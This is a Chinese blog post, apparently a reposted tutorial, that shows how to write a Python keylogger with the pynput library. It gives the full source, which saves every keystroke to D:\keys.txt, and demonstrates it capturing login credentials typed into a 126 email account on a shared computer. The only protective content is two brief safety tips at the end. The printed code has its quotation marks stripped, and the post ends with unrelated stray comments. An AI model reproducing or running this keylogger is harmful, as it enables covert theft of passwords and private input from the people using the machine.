先看看效果
赞这个↓

一、公共WiFi,公用计算机或其他东西
每天工作和玩游戏时,无论我们打开计算机,登录淘宝还是玩游戏
将使用所有键盘输入
在几乎所有网站上,例如淘宝,百度,126个邮箱等。
为了保护用户信息

登录时,输入框不可见。
但是,输入框隐藏在界面上,所以我们看不到它们,我们真的可以确保万无一失吗?

二、键盘记录器
今天,我们将介绍一种键盘记录方法,以获取用户通过键盘输入的所有信息。
并实现对126个邮箱登录用户信息的访问。

三、 python代码实现
1、安装Pynput模块
PS C:\WINDOWS\system32> pip install pynput Collecting pynput
Downloading pynput-1.7.2-py2.py3-none-any.whl (99 kB)
|████████████████████████████████| 99 kB 51 kB/s
Requirement already satisfied: six in d:\python36\lib\site-packages (from pynput) (1.12.0)
Installing collected packages: pynput
Successfully installed pynput-1.7.2
PS C:\WINDOWS\system32>
2、脚本完整代码
# -*- coding:utf-8 -*-
from pynput.keyboard import Key, Controller,Listener
import time
keyboard = Controller()
keys=[]
def on_press(key):
string = str(key).replace("","")
def on_release(key):
global keys
string = str(key).replace("","")
keys.append(\r+string)
main_string = "".join(keys)
print(main_string)
if len(main_string)>15:
with open(D:\keys.txt, a) as f:
f.write(main_string)
keys= []
with Listener(on_press=on_press,on_release=on_release) as listener:
listener.join()3、启动脚本
将脚本放置在计算机上的特定路径中并运行该程序;所有键盘输入都将记录在同一目录中的keys.txt文件中。
PS D:\test> python .\keyRecord.py


4、登录126个邮箱以获取用户信息
运行脚本时,登录到126邮箱,您可以看到输入用户名后,通过键盘输入的信息已写入keys.txt文件中,包括选项卡按钮和回车按钮。

四、安全提示
请勿随意连接陌生的WiFi
不要随便使用陌生的计算机
emmmm ~~~~
最近,许多朋友通过私信咨询了有关Python学习问题的信息。为了便于交流,请单击蓝色以自行加入讨论并回答资源库
本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/bofangqi/article-366870-1.html
喜欢哈哈
密封后无氧是不会生蛆
美国连家庭住宅都不可侵犯